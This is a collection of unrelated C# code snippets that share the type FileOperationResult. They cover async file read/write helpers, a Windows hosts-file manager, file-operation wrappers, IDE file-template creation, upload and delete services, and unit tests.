/// <summary> /// This is a convenience extension method for <see cref="IFileSystemProvider"/> instances, /// which writes the data of a given file to the submitted output stream as a non-blocking /// operation, and invokes the submitted delegate once the process has been completed. /// </summary> /// <param name="provider">The <see cref="IFileSystemProvider"/> to be invoked in order to get access to the /// file's contents.</param> /// <param name="fileInfo">Provides meta information about the file to be read.</param> /// <param name="output">A stream to which the file's contents are written. The stream will /// be automatically closed as soon as the operations finishes.</param> /// <param name="completionCallback">Invoked as soon as the operation has been completed, /// or aborted. This is an optional parameter, which can be null.</param> /// <exception cref="ArgumentNullException">If <paramref name="fileInfo"/> /// is a null reference.</exception> /// <exception cref="ArgumentNullException">If <paramref name="output"/> /// is a null reference.</exception> public static void BeginReadFile(this IFileSystemProvider provider, VirtualFileInfo fileInfo, Stream output, Action <FileOperationResult> completionCallback) { ThreadPool.QueueUserWorkItem(delegate { FileOperationResult result = new FileOperationResult(fileInfo); try { ReadFile(provider, fileInfo, output, true); if (completionCallback != null) { completionCallback(result); } } catch (Exception e) { if (completionCallback != null) { result.Exception = e; completionCallback(result); } else { //log an error in order to make sure this doesn't go unnoticed string msg = "Async file read operation failed silently for file '{0}':\n{1}"; msg = String.Format(msg, fileInfo.FullName, e); Debug.WriteLine(msg); } } }); }
public static FileOperationResult CreateDefaultHosts() { FileOperationResult result = FileOperationResult.Success; TextWriter txtStreamWriter = null; try { txtStreamWriter = new StreamWriter(HostFileManager.HostPath); txtStreamWriter.Write(Properties.Resources.defaultValue); } catch (UnauthorizedAccessException) { result = FileOperationResult.UnauthorizedAccess; } catch { result = FileOperationResult.Failed; } finally { if (txtStreamWriter != null) { txtStreamWriter.Close(); } } return(result); }
public bool DeleteAsync() { FileOperationResult result = _client.DeleteFiles(new string[] { _path }); return(result.errno == 0); //return Task.Run(async () => //{ // var json = await _netDiskUser.DataServer.SendPacketAsync(new DeleteFilePacket() // { // Token = _netDiskUser.Token, // Path = _path // }); // return (int)JObject.Parse(json)["errno"] == 0; //}); /* * return Task.Run(async () => * { * var json = await _netDiskUser.DataServer.SendPacketAsync(new CreateLinkPacket() * { * Token = _netDiskUser.Token, * Info = this * }); * Console.WriteLine(json); * return true; * return (int)JObject.Parse(json)["errno"] == 0; * }); */ }
/// <summary> /// </summary> /// <param name="o"></param> public FileOperationWraper(FileOperationResult o) { Id = o.Id; OperationType = o.OperationType; Progress = o.Progress; Error = o.Error; Processed = o.Processed; Finished = o.Finished; if (!string.IsNullOrEmpty(o.Result) && OperationType != FileOperationType.Delete) { var arr = o.Result.Split(':'); var folders = arr.Where(s => s.StartsWith("folder_")).Select(s => s.Substring(7)); if (folders.Any()) { using (var folderDao = Global.DaoFactory.GetFolderDao()) { Folders = folderDao.GetFolders(folders.ToArray()).Select(r => new FolderWrapper(r)).ToList(); } } var files = arr.Where(s => s.StartsWith("file_")).Select(s => s.Substring(5)); if (files.Any()) { using (var fileDao = Global.DaoFactory.GetFileDao()) { Files = fileDao.GetFiles(files.ToArray()).Select(r => new FileWrapper(r)).ToList(); } } if (OperationType == FileOperationType.Download) { Url = CommonLinkUtility.GetFullAbsolutePath(o.Result); } } }
/// <summary> /// </summary> /// <param name="o"></param> public FileOperationWraper(FileOperationResult o) { Id = o.Id; OperationType = o.OperationType; Progress = o.Progress; //Source = o.Source; //Result = o.Result; Error = o.Error; Processed = o.Processed; if (o.FileIds != null) { using (var fileDao = Global.DaoFactory.GetFileDao()) { Files = fileDao.GetFiles(o.FileIds).Select(r => new FileWrapper(r)).ToList(); } } if (o.FolderIds != null) { using (var folderDao = Global.DaoFactory.GetFolderDao()) { Folders = folderDao.GetFolders(o.FolderIds).Select(r => new FolderWrapper(r)).ToList(); } } }
/// <summary> /// </summary> /// <param name="o"></param> public FileOperationWraper(FileOperationResult o) { Id = o.Id; OperationType = o.OperationType; Progress = o.Progress; Error = o.Error; Processed = o.Processed; if (!string.IsNullOrEmpty(o.Result)) { var arr = o.Result.Split(':'); var folders = arr.Where(s => s.StartsWith("folder_")).Select(s => s.Substring(7)); if (folders.Any()) { using (var folderDao = Global.DaoFactory.GetFolderDao()) { Folders = folderDao.GetFolders(folders.ToArray()).Select(r => new FolderWrapper(r)).ToList(); } } var files = arr.Where(s => s.StartsWith("file_")).Select(s => s.Substring(5)); if (files.Any()) { using (var fileDao = Global.DaoFactory.GetFileDao()) { Files = fileDao.GetFiles(files.ToArray()).Select(r => new FileWrapper(r)).ToList(); } } } }
public void OpenFile(string fileName) { FileUtilityService fileUtilityService = (FileUtilityService)ServiceManager.Services.GetService(typeof(FileUtilityService)); Debug.Assert(fileUtilityService.IsValidFileName(fileName)); // test, if file fileName exists if (!fileName.StartsWith("http://")) { // test, if an untitled file should be opened if (!Path.IsPathRooted(fileName)) { foreach (IViewContent content in WorkbenchSingleton.Workbench.ViewContentCollection) { if (content.IsUntitled && content.UntitledName == fileName) { content.SelectView(); return; } } } else if (!fileUtilityService.TestFileExists(fileName)) { return; } } //检查当前文件有没有在视图中打开过. foreach (IViewContent content in WorkbenchSingleton.Workbench.ViewContentCollection) { // WINDOWS DEPENDENCY : ToUpper() if (content.ContentName != null && content.ContentName.ToUpper() == fileName.ToUpper()) { //content.SelectView(); MessageBox.Show("该文件已经打开!", "提示", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); return; } } ViewTypeService viewTypeService = (ViewTypeService)ServiceManager.Services.GetService(typeof(ViewTypeService)); IFileService fileService = (IFileService)ServiceManager.Services.GetService(typeof(IFileService)); IViewType viewType = viewTypeService.GetViewTypePerFileName(fileName); if (viewType != null) { LoadFileWrapper fileWrapper = new LoadFileWrapper(viewType); NamedFileOperationDelegate nameFileOperationDelegate = new NamedFileOperationDelegate(fileWrapper.Invoke); FileOperationResult result = fileUtilityService.ObservedLoad(nameFileOperationDelegate, fileName); if (result == FileOperationResult.OK) //如果当前文档打开成功,则把当前打开的文档添加到最近打开的列表中. { fileService.RecentOpenMemeto.AddLastFile(fileName); } } else { throw new ApplicationException("Can't open " + fileName + ", no display codon found."); } }
protected void OnImportCommandsButtonPress(object sender, EventArgs e) { Gtk.FileChooserDialog fileChooser = new Gtk.FileChooserDialog ("Choose files" , this , FileChooserAction.Open , "Select" , ResponseType.Accept , "Cancel" , ResponseType.Close); Gtk.FileFilter xmlFileFilter = new Gtk.FileFilter(); xmlFileFilter.AddPattern("*.xml"); fileChooser.AddFilter(xmlFileFilter); int response = fileChooser.Run(); if (response == Utils.static_cast <int>(ResponseType.Close)) { UIUtils.ShutDownWindow(ref fileChooser); } else if (response == Utils.static_cast <int>(ResponseType.Accept)) { string fullPath = fileChooser.Filename; UIUtils.ShutDownWindow(ref fileChooser); GameConfigDescriptorLoader loader = new GameConfigDescriptorLoader(fullPath); FileOperationResult fileOperationResult = loader.Load(); if (fileOperationResult.IsSuccess()) { GameConfigDB sourceConfigDB = loader.GetConfig(); UITabPage currentTabPage = GetCurrentTabPage(); GameConfigDB targetConfigDB = currentTabPage.GetGameConfig(); foreach (GameConfigSectionDescriptor sectionDescriptor in sourceConfigDB.GetSections()) { targetConfigDB.AddSection(sectionDescriptor); currentTabPage.AddNewSection(sectionDescriptor); } currentTabPage.RefreshCanvas(); } else { UIUtils.ShutDownWindowSafe(ref _windowPrompt); _windowPrompt = new WindowPrompt(fileOperationResult.GetResult()); _windowPrompt.OnAcceptEvent += OnAlertAccept; _windowPrompt.SetCancelVisible(false); _windowPrompt.Show(); MainApp.GetInstance().MoveWindowToMousePos(_windowPrompt); } } }
private FileOperationResult CloseProject() { FileOperationResult result = SaveChangesIfNecessary(); if (result == FileOperationResult.Continue && !restart) // in case restart was clicked there is no project to close (updater tab is open) { CloseIfOpen(); } return(result); }
public FileOperationResult DeleteFile(ClaimsPrincipal user, string relativePath) { FileLocation location; var result = new FileOperationResult() { Operation = FileOperation.Delete, RelativePathSpecified = relativePath }; try { location = GetValidatedLocation(user, relativePath, true); } catch (Exception) { result.Error = "Invalid file path"; return(result); } var absolutePath = Path.Combine(_cfg.RootDirectory, location.RelativePath); if (!File.Exists(absolutePath)) { // perhaps something else deleted this, but the final state is equivalent to the file being deleted, so return success result.WasSuccessful = true; return(result); } result.UploadedFile = GetFileDetails(location); try { File.Delete(absolutePath); result.WasSuccessful = true; _log.LogInformation("User [{Username}] successfully deleted [{File}].", location.Username, location.RelativePath); } catch (Exception ex) { result.Error = "Unable to delete file"; _log.LogError(ex, "Unable to delete file [{File}]", absolutePath); } return(result); }
public static FileOperationResult WriteHosts(List <Host> hosts) { FileOperationResult result = FileOperationResult.Success; String title = "# Created by WinHostsManager " + System.Windows.Forms.Application.ProductVersion; String timestamp = DateTime.Now.ToLongDateString() + "-" + DateTime.Now.ToLongTimeString(); TextWriter textStreamWriter = null; try { textStreamWriter = new StreamWriter(HostFileManager.HostPath); textStreamWriter.WriteLine(title); textStreamWriter.WriteLine("# Last Modified:\t" + timestamp); textStreamWriter.WriteLine("# ------------------------------------------------------------------------------------- "); textStreamWriter.WriteLine(); textStreamWriter.WriteLine(); foreach (Host host in hosts) { if (host.Enabled == true) { textStreamWriter.WriteLine("\t{0}\t{1}\t#{2}", host.IP, host.HostName, host.Comment); } else { textStreamWriter.WriteLine("#\t{0}\t{1}\t#{2}", host.IP, host.HostName, host.Comment); } } } catch (UnauthorizedAccessException) { result = FileOperationResult.UnauthorizedAccess; } catch { result = FileOperationResult.Failed; } finally { if (textStreamWriter != null) { textStreamWriter.Close(); } } return(result); }
public static FileOperationResult CreateBackup() { FileOperationResult result = FileOperationResult.Success; StringBuilder sb = new StringBuilder(); sb.Append(DateTime.Now.Year.ToString() + "-"); sb.Append(DateTime.Now.Month.ToString("00") + "-"); sb.Append(DateTime.Now.Day.ToString("00")); sb.Append(" # "); sb.Append(DateTime.Now.Hour.ToString("00")); sb.Append(DateTime.Now.Minute.ToString("00")); sb.Append(DateTime.Now.Second.ToString("00")); try { if (!Directory.Exists(".\\Backups\\")) { Directory.CreateDirectory(".\\Backups\\"); } } catch (UnauthorizedAccessException) { result = FileOperationResult.BackupCreateFolderUnauthorizedAccess; } catch { result = FileOperationResult.BackupCreateFolderFailed; } // --- COPY try { File.Copy(HostPath, ".\\Backups\\" + sb.ToString()); } catch (UnauthorizedAccessException) { result = FileOperationResult.UnauthorizedAccess; } catch { result = FileOperationResult.Failed; } return(result); }
public void Asynchronously_Reading_Big_File_Should_Create_Proper_Copy() { //create a big file FileInfo fi = new FileInfo(sourceFile.FullName); fi.Delete(); //create a 500MB file Console.Out.WriteLine("CREATING TEMP FILE - THIS WILL TAKE A WHILE..."); File.WriteAllBytes(fi.FullName, new byte[1024 * 1024 * 500]); Console.Out.WriteLine("fi.Length = {0}", fi.Length / 1024 / 1024); FileOperationResult result = null; using (FileStream stream = targetFile.OpenWrite()) { Console.Out.WriteLine("starting..."); provider.BeginReadFile(sourceFile, stream, r => result = r); Console.Out.WriteLine("returning..."); while (result == null) { Console.Out.WriteLine("waiting..."); Thread.CurrentThread.Join(1000); } } Assert.IsTrue(result.IsSuccess); Assert.IsNull(result.Exception); Assert.AreSame(sourceFile, result.FileInfo); Console.Out.WriteLine("targetFile.Length = {0}", targetFile.Length); Assert.AreEqual(fi.Length, targetFile.Length); string fp1 = FileUtil.ComputeFingerPrint(sourceFile.FullName); string fp2 = FileUtil.ComputeFingerPrint(targetFile); Assert.AreEqual(fp1, fp2); }
private void toolStripMenuItem1_Click(object sender, EventArgs e) { if (fileOpCacheList == null) { return; } if (fileOpCacheList.Length == 0) { return; } FileOperationResult result = null; List <CopyMoveRequest> requests = new List <CopyMoveRequest>(); foreach (string p in fileOpCacheList) { requests.Add(new CopyMoveRequest() { path = p, dest = textBox1.Text, newname = p.Substring(p.LastIndexOf('/')) }); } switch (opType) { case 1: result = client.CopyFiles(requests.ToArray()); break; case 2: result = client.MoveFiles(requests.ToArray()); break; } if (result.errno != 0) { MessageBox.Show($"{Errno.Instance.GetDescription(result.errno)}. 操作失败."); } pictureBox2_Click(null, null); }
protected void OnExportCommandsButtonPress(object sender, EventArgs e) { Gtk.FileChooserDialog fileChooser = new Gtk.FileChooserDialog ("Choose files" , this , FileChooserAction.SelectFolder , "Select" , ResponseType.Accept , "Cancel" , ResponseType.Close); int response = fileChooser.Run(); if (response == Utils.static_cast <int>(ResponseType.Close)) { UIUtils.ShutDownWindow(ref fileChooser); } else if (response == Utils.static_cast <int>(ResponseType.Accept)) { string fullPath = fileChooser.Filename + "/exported_commands.xml"; UIUtils.ShutDownWindow(ref fileChooser); UITabPage currentTabPage = GetCurrentTabPage(); currentTabPage.GetGameConfig(); GamesConfigLoader gamesLoader = MainApp.GetInstance().GetConfig().GetGameConfig(); FileOperationResult fileOperationResult = gamesLoader.Export(fullPath, currentTabPage.GetGameConfig()); if (!fileOperationResult.IsSuccess()) { UIUtils.ShutDownWindowSafe(ref _windowPrompt); _windowPrompt = new WindowPrompt(fileOperationResult.GetResult()); _windowPrompt.OnAcceptEvent += OnAlertAccept; _windowPrompt.SetCancelVisible(false); _windowPrompt.Show(); MainApp.GetInstance().MoveWindowToMousePos(_windowPrompt); } } }
/// <summary> /// This is a convenience extension method for <see cref="IFileSystemProvider"/> instances, /// which writes the data of a given file to the submitted output stream as a non-blocking /// operation, and invokes the submitted delegate once the process has been completed. /// </summary> /// <param name="provider">The <see cref="IFileSystemProvider"/> to be invoked in order to get access to the /// file's contents.</param> /// <param name="localFilePath">The path of the file to be uploaded.</param> /// <param name="destinationPath">The path of the file to be created on the file system.</param> /// <param name="overwrite">Whether an existing file should be overwritten /// or not. If this parameter is false and the file already exists, a /// <see cref="ResourceOverwriteException"/> is thrown.</param> /// <param name="completionCallback">Invoked as soon as the operation has been completed, /// or aborted. This is an optional parameter, which can be null.</param> public static void BeginWriteFile(this IFileSystemProvider provider, string localFilePath, string destinationPath, bool overwrite, Action <FileOperationResult> completionCallback) { ThreadPool.QueueUserWorkItem(delegate { try { var fileInfo = WriteFile(provider, localFilePath, destinationPath, overwrite); if (completionCallback != null) { FileOperationResult result = new FileOperationResult(fileInfo); completionCallback(result); } } catch (Exception e) { if (completionCallback != null) { VirtualFileInfo fileInfo = new VirtualFileInfo(); fileInfo.FullName = destinationPath; FileOperationResult result = new FileOperationResult(fileInfo) { Exception = e }; completionCallback(result); } else { //log an error in order to make sure this doesn't go unnoticed string msg = "Async file write operation failed silently for file '{0}':\n{1}"; msg = String.Format(msg, destinationPath, e); Debug.WriteLine(msg); } } }); }
public FileOperationWraper Get(FileOperationResult o) { var result = new FileOperationWraper { Id = o.Id, OperationType = o.OperationType, Progress = o.Progress, Error = o.Error, Processed = o.Processed, Finished = o.Finished }; if (!string.IsNullOrEmpty(o.Result) && result.OperationType != FileOperationType.Delete) { var arr = o.Result.Split(':'); var folders = arr.Where(s => s.StartsWith("folder_")).Select(s => s.Substring(7)); if (folders.Any()) { var folderDao = DaoFactory.FolderDao; result.Folders = folderDao.GetFolders(folders.ToArray()).Select(FolderWrapperHelper.Get).ToList(); } var files = arr.Where(s => s.StartsWith("file_")).Select(s => s.Substring(5)); if (files.Any()) { var fileDao = DaoFactory.FileDao; result.Files = fileDao.GetFiles(files.ToArray()).Select(FilesWrapperHelper.Get).ToList(); } if (result.OperationType == FileOperationType.Download) { result.Url = CommonLinkUtility.GetFullAbsolutePath(o.Result); } } return(result); }
public void Saving_File_Asynchronously_With_Path_Of_Existing_File_Should_Return_Results() { //create temp file Assert.IsFalse(targetFile.Exists); File.WriteAllBytes(targetFile.FullName, new byte[1024 * 1024 * 20]); //run async operation with invalid file path FileOperationResult result = null; var invalidSource = new VirtualFileInfo { FullName = FileUtil.GetUniqueFileName("VFS_INVALID") }; provider.BeginSaveFile(invalidSource, targetFile.FullName, c => result = c); while (result == null) { Thread.CurrentThread.Join(500); } Assert.IsFalse(result.IsSuccess); Assert.IsInstanceOf <VfsException>(result.Exception); //run async operation with valid data result = null; provider.BeginSaveFile(sourceFile, targetFile.FullName, c => result = c); while (result == null) { Console.Out.WriteLine("waiting..."); Thread.CurrentThread.Join(1000); } Assert.IsTrue(result.IsSuccess, result.IsSuccess ? "" : result.Exception.ToString()); Assert.AreEqual(FileUtil.ComputeFingerPrint(sourceFile.FullName), targetFile.ComputeFingerPrint()); }
public FileOperationWraper Get(FileOperationResult o) { var result = new FileOperationWraper { Id = o.Id, OperationType = o.OperationType, Progress = o.Progress, Error = o.Error, Processed = o.Processed, Finished = o.Finished }; if (!string.IsNullOrEmpty(o.Result) && result.OperationType != FileOperationType.Delete) { var arr = o.Result.Split(':'); var folders = arr .Where(s => s.StartsWith("folder_")) .Select(s => s.Substring(7)); if (folders.Any()) { var fInt = new List <int>(); var fString = new List <string>(); foreach (var folder in folders) { if (int.TryParse(folder, out var f)) { fInt.Add(f); } else { fString.Add(folder); } } result.Folders = GetFolders(folders).ToList(); result.Folders.AddRange(GetFolders(fInt)); } var files = arr .Where(s => s.StartsWith("file_")) .Select(s => s.Substring(5)); if (files.Any()) { var fInt = new List <int>(); var fString = new List <string>(); foreach (var file in files) { if (int.TryParse(file, out var f)) { fInt.Add(f); } else { fString.Add(file); } } result.Files = GetFiles(fString).ToList(); result.Files.AddRange(GetFiles(fInt)); } if (result.OperationType == FileOperationType.Download) { result.Url = CommonLinkUtility.GetFullAbsolutePath(o.Result); } } return(result); IEnumerable <FileEntryWrapper> GetFolders <T>(IEnumerable <T> folders) { var folderDao = DaoFactory.GetFolderDao <T>(); return(folderDao.GetFolders(folders.ToArray()) .Select(FolderWrapperHelper.Get) .Cast <FileEntryWrapper>()); } IEnumerable <FileEntryWrapper> GetFiles <T>(IEnumerable <T> files) { var fileDao = DaoFactory.GetFileDao <T>(); return(fileDao.GetFiles(files.ToArray()) .Select(FilesWrapperHelper.Get) .Cast <FileEntryWrapper>()); } }
public FileOperationResult Rename(FileFolderAction command) { FileOperationResult rst = new FileOperationResult(); try { if (command.isFile) { if (File.Exists(command.path)) { FileInfo info = new FileInfo(command.path); File.Move(command.path, info.Directory.FullName + "\\" + command.newName); } else { rst.IsSuccess = false; rst.Message = "File Not Exist"; } } else { if (Directory.Exists(command.path)) { DirectoryInfo info = new DirectoryInfo(command.path); Directory.Move(command.path, info.Parent.FullName + "\\" + command.newName); } else { rst.IsSuccess = false; rst.Message = "Folder Not Exist"; } } } catch(Exception e) { rst.IsSuccess = false; rst.Message = e.Message; } return rst; }
public FileOperationResult FolderAction(FileFolderAction command) { FileOperationResult rst = new FileOperationResult(); if (command.isRemove) { if (Directory.Exists(command.path)) { try { DirectoryInfo di = new DirectoryInfo(command.path); di.Delete(true); } catch(Exception e) { rst.Message =e.Message; rst.IsSuccess = false; } } else { rst.IsSuccess = false; rst.Message = "Folder Not Exist"; } } else { if (Directory.Exists(command.path)) { rst.IsSuccess = false; rst.Message = "Folder Already Exist"; } else { Directory.CreateDirectory(command.path); } } return rst; }
public FileOperationResult FileAction(FileFolderAction command) { FileOperationResult rst = new FileOperationResult(); if (command.isRemove) { if (File.Exists(command.path)) { try { File.Delete(command.path); rst.IsSuccess = true; } catch (Exception e) { rst.Message = e.Message; rst.IsSuccess = false; } } else { rst.IsSuccess = false; rst.Message = "File Not Exist"; } } return rst; }
public override FileTemplateResult Create(FileTemplateOptions options) { FileTemplateResult result = new FileTemplateResult(options); StandardHeader.SetHeaders(); StringParserPropertyContainer.FileCreation["StandardNamespace"] = options.Namespace; StringParserPropertyContainer.FileCreation["FullName"] = options.FileName; StringParserPropertyContainer.FileCreation["FileName"] = Path.GetFileName(options.FileName); StringParserPropertyContainer.FileCreation["FileNameWithoutExtension"] = Path.GetFileNameWithoutExtension(options.FileName); StringParserPropertyContainer.FileCreation["Extension"] = Path.GetExtension(options.FileName); StringParserPropertyContainer.FileCreation["Path"] = Path.GetDirectoryName(options.FileName); StringParserPropertyContainer.FileCreation["ClassName"] = options.ClassName; // when adding a file to a project (but not when creating a standalone file while a project is open): var project = options.Project; if (project != null && !options.IsUntitled) { // add required assembly references to the project foreach (ReferenceProjectItem reference in RequiredAssemblyReferences) { IEnumerable <ProjectItem> refs = project.GetItemsOfType(ItemType.Reference); if (!refs.Any(projItem => string.Equals(projItem.Include, reference.Include, StringComparison.OrdinalIgnoreCase))) { ReferenceProjectItem projItem = (ReferenceProjectItem)reference.CloneFor(project); ProjectService.AddProjectItem(project, projItem); //ProjectBrowserPad.RefreshViewAsync(); } } } foreach (FileDescriptionTemplate newfile in FileDescriptionTemplates) { if (!IsFilenameAvailable(StringParser.Parse(newfile.Name))) { MessageService.ShowError(string.Format("Filename {0} is in use.\nChoose another one", StringParser.Parse(newfile.Name))); // TODO : translate return(null); } } try { var filesToOpen = new List <FileName>(); ScriptRunner scriptRunner = new ScriptRunner(); foreach (FileDescriptionTemplate newFile in FileDescriptionTemplates) { FileOperationResult opresult = FileUtility.ObservedSave( () => { OpenedFile resultFile; bool shouldOpen; if (!String.IsNullOrEmpty(newFile.BinaryFileName)) { resultFile = SaveFile(newFile, null, newFile.BinaryFileName, options, out shouldOpen); } else { resultFile = SaveFile(newFile, scriptRunner.CompileScript(this, newFile), null, options, out shouldOpen); } if (resultFile != null) { result.NewOpenedFiles.Add(resultFile); result.NewFiles.Add(resultFile.FileName); if (shouldOpen) { filesToOpen.Add(resultFile.FileName); } } }, FileName.Create(StringParser.Parse(newFile.Name)) ); if (opresult != FileOperationResult.OK) { return(null); } } // Run creation actions if (createActions != null) { createActions(result); } foreach (var filename in filesToOpen.Intersect(result.NewFiles)) { SD.FileService.OpenFile(filename); } } finally { // Now that the view contents foreach (var file in result.NewOpenedFiles) { file.CloseIfAllViewsClosed(); } result.NewOpenedFiles.RemoveAll(f => f.RegisteredViewContents.Count == 0); } // raise FileCreated event for the new files. foreach (var fileName in result.NewFiles) { FileService.FireFileCreated(fileName, false); } if (project != null) { project.Save(); } return(result); }
internal FileReceivedEventArgs(FileOperationResult result, string name, byte[] data) { Result = result; Name = name; Data = data; }
/// <summary> /// This is a convenience extension method for <see cref="IFileSystemProvider"/> instances, /// which writes the data of a given file to the submitted output stream as a non-blocking /// operation, and invokes the submitted delegate once the process has been completed. /// </summary> /// <param name="provider">The <see cref="IFileSystemProvider"/> to be invoked in order to get access to the /// file's contents.</param> /// <param name="localFilePath">The path of the file to be uploaded.</param> /// <param name="destinationPath">The path of the file to be created on the file system.</param> /// <param name="overwrite">Whether an existing file should be overwritten /// or not. If this parameter is false and the file already exists, a /// <see cref="ResourceOverwriteException"/> is thrown.</param> /// <param name="completionCallback">Invoked as soon as the operation has been completed, /// or aborted. This is an optional parameter, which can be null.</param> public static void BeginWriteFile(this IFileSystemProvider provider, string localFilePath, string destinationPath, bool overwrite, Action<FileOperationResult> completionCallback) { ThreadPool.QueueUserWorkItem(delegate { try { var fileInfo = WriteFile(provider, localFilePath, destinationPath, overwrite); if (completionCallback != null) { FileOperationResult result = new FileOperationResult(fileInfo); completionCallback(result); } } catch (Exception e) { if (completionCallback != null) { VirtualFileInfo fileInfo = new VirtualFileInfo(); fileInfo.FullName = destinationPath; FileOperationResult result = new FileOperationResult(fileInfo) {Exception = e}; completionCallback(result); } else { //log an error in order to make sure this doesn't go unnoticed string msg = "Async file write operation failed silently for file '{0}':\n{1}"; msg = String.Format(msg, destinationPath, e); Debug.WriteLine(msg); } } }); }
/// <summary> /// This is a convenience extension method for <see cref="IFileSystemProvider"/> instances, /// which writes the data of a given file to the submitted output stream as a non-blocking /// operation, and invokes the submitted delegate once the process has been completed. /// </summary> /// <param name="provider">The <see cref="IFileSystemProvider"/> to be invoked in order to get access to the /// file's contents.</param> /// <param name="fileInfo">Provides meta information about the file to be read.</param> /// <param name="output">A stream to which the file's contents are written. The stream will /// be automatically closed as soon as the operations finishes.</param> /// <param name="completionCallback">Invoked as soon as the operation has been completed, /// or aborted. This is an optional parameter, which can be null.</param> /// <exception cref="ArgumentNullException">If <paramref name="fileInfo"/> /// is a null reference.</exception> /// <exception cref="ArgumentNullException">If <paramref name="output"/> /// is a null reference.</exception> public static void BeginReadFile(this IFileSystemProvider provider, VirtualFileInfo fileInfo, Stream output, Action<FileOperationResult> completionCallback) { ThreadPool.QueueUserWorkItem(delegate { FileOperationResult result = new FileOperationResult(fileInfo); try { ReadFile(provider, fileInfo, output, true); if (completionCallback != null) completionCallback(result); } catch (Exception e) { if (completionCallback != null) { result.Exception = e; completionCallback(result); } else { //log an error in order to make sure this doesn't go unnoticed string msg = "Async file read operation failed silently for file '{0}':\n{1}"; msg = String.Format(msg, fileInfo.FullName, e); Debug.WriteLine(msg); } } }); }
internal FileSentEventArgs(FileOperationResult result, string name, int length) { Result = result; Name = name; Length = length; }
public async Task <FileOperationResult> SaveFileAsync(ClaimsPrincipal user, string filename, Stream stream) { var username = user.GetUsername(); if (string.IsNullOrWhiteSpace(filename)) { throw new ArgumentNullException(nameof(filename)); } var result = new FileOperationResult { Operation = FileOperation.Upload, RelativePathSpecified = filename }; var location = new FileLocation(username, Path.GetFileName(filename)); var userDir = GetAbsoluteUserDirectory(location.Username); var destPath = GetAbsoluteFilePath(location); if (stream == null || stream.Length == 0) { result.Error = $"File with name {filename} is empty."; return(result); } if (File.Exists(destPath)) { result.Error = $"File with name {filename} already exists."; return(result); } try { EnsureUserDirectoryExists(userDir); } catch (IOException ex) { _log.LogError(ex, "Could not create user directory {UserDirectory}", userDir); result.WasSuccessful = false; result.Error = $"There was an error trying to save {filename}"; return(result); } using (var outputStream = new FileStream(destPath, FileMode.Create)) { try { await stream.CopyToAsync(outputStream); result.UploadedFile = GetFileDetails(location); result.WasSuccessful = true; } catch (IOException ex) { _log.LogError( ex, "Unable to save file upload for {Username} with filename {Filename}, and absolute path {DestinationPath}.", location.Username, location.Filename, destPath); result.Error = $"There was an error trying to save {filename}."; } } return(result); }
void OpenEvent(object sender, EventArgs e) { if (categoryTreeView.SelectedNode != null) { PropertyService.Set("Dialogs.NewProjectDialog.LargeImages", ((RadioButton)ControlDictionary["largeIconsRadioButton"]).Checked); PropertyService.Set("Dialogs.NewFileDialog.CategoryViewState", TreeViewHelper.GetViewStateString(categoryTreeView)); PropertyService.Set("Dialogs.NewFileDialog.LastSelectedCategory", TreeViewHelper.GetPath(categoryTreeView.SelectedNode)); } createdFiles.Clear(); if (templateListView.SelectedItems.Count == 1) { if (!AllPropertiesHaveAValue) { MessageService.ShowMessage("${res:Dialog.NewFile.FillOutFirstMessage}", "${res:Dialog.NewFile.FillOutFirstCaption}"); return; } TemplateItem item = (TemplateItem)templateListView.SelectedItems[0]; PropertyService.Set("Dialogs.NewFileDialog.LastSelectedTemplate", item.Template.Name); string fileName; StringParserPropertyContainer.FileCreation["StandardNamespace"] = "DefaultNamespace"; if (allowUntitledFiles) { fileName = GenerateCurrentFileName(); } else { fileName = ControlDictionary["fileNameTextBox"].Text.Trim(); if (!FileUtility.IsValidPath(fileName) || fileName.IndexOf(Path.AltDirectorySeparatorChar) >= 0 || fileName.IndexOf(Path.DirectorySeparatorChar) >= 0) { MessageService.ShowError(StringParser.Parse("${res:ICSharpCode.SharpDevelop.Commands.SaveFile.InvalidFileNameError}", new StringTagPair("FileName", fileName))); return; } if (Path.GetExtension(fileName).Length == 0) { fileName += Path.GetExtension(item.Template.DefaultName); } fileName = Path.Combine(basePath, fileName); fileName = FileUtility.NormalizePath(fileName); IProject project = ProjectService.CurrentProject; if (project != null) { StringParserPropertyContainer.FileCreation["StandardNamespace"] = CustomToolsService.GetDefaultNamespace(project, fileName); } } FileTemplateOptions options = new FileTemplateOptions(); options.ClassName = GenerateValidClassOrNamespaceName(Path.GetFileNameWithoutExtension(fileName), false); options.FileName = FileName.Create(fileName); options.IsUntitled = allowUntitledFiles; options.Namespace = StringParserPropertyContainer.FileCreation["StandardNamespace"]; StringParserPropertyContainer.FileCreation["FullName"] = fileName; StringParserPropertyContainer.FileCreation["FileName"] = Path.GetFileName(fileName); StringParserPropertyContainer.FileCreation["FileNameWithoutExtension"] = Path.GetFileNameWithoutExtension(fileName); StringParserPropertyContainer.FileCreation["Extension"] = Path.GetExtension(fileName); StringParserPropertyContainer.FileCreation["Path"] = Path.GetDirectoryName(fileName); StringParserPropertyContainer.FileCreation["ClassName"] = options.ClassName; // when adding a file to a project (but not when creating a standalone file while a project is open): if (ProjectService.CurrentProject != null && !this.allowUntitledFiles) { options.Project = ProjectService.CurrentProject; // add required assembly references to the project bool changes = false; foreach (ReferenceProjectItem reference in item.Template.RequiredAssemblyReferences) { IEnumerable <ProjectItem> refs = ProjectService.CurrentProject.GetItemsOfType(ItemType.Reference); if (!refs.Any(projItem => string.Equals(projItem.Include, reference.Include, StringComparison.OrdinalIgnoreCase))) { ReferenceProjectItem projItem = (ReferenceProjectItem)reference.CloneFor(ProjectService.CurrentProject); ProjectService.AddProjectItem(ProjectService.CurrentProject, projItem); changes = true; } } if (changes) { ProjectService.CurrentProject.Save(); } } foreach (FileDescriptionTemplate newfile in item.Template.FileDescriptionTemplates) { if (!IsFilenameAvailable(StringParser.Parse(newfile.Name))) { MessageService.ShowError(string.Format("Filename {0} is in use.\nChoose another one", StringParser.Parse(newfile.Name))); // TODO : translate return; } } ScriptRunner scriptRunner = new ScriptRunner(); foreach (FileDescriptionTemplate newFile in item.Template.FileDescriptionTemplates) { FileOperationResult result = FileUtility.ObservedSave( () => { if (!String.IsNullOrEmpty(newFile.BinaryFileName)) { SaveFile(newFile, null, newFile.BinaryFileName); } else { SaveFile(newFile, scriptRunner.CompileScript(item.Template, newFile), null); } }, StringParser.Parse(newFile.Name) ); if (result != FileOperationResult.OK) { return; } } DialogResult = DialogResult.OK; // raise FileCreated event for the new files. foreach (KeyValuePair <string, FileDescriptionTemplate> entry in createdFiles) { FileService.FireFileCreated(entry.Key, false); } item.Template.RunActions(options); } }
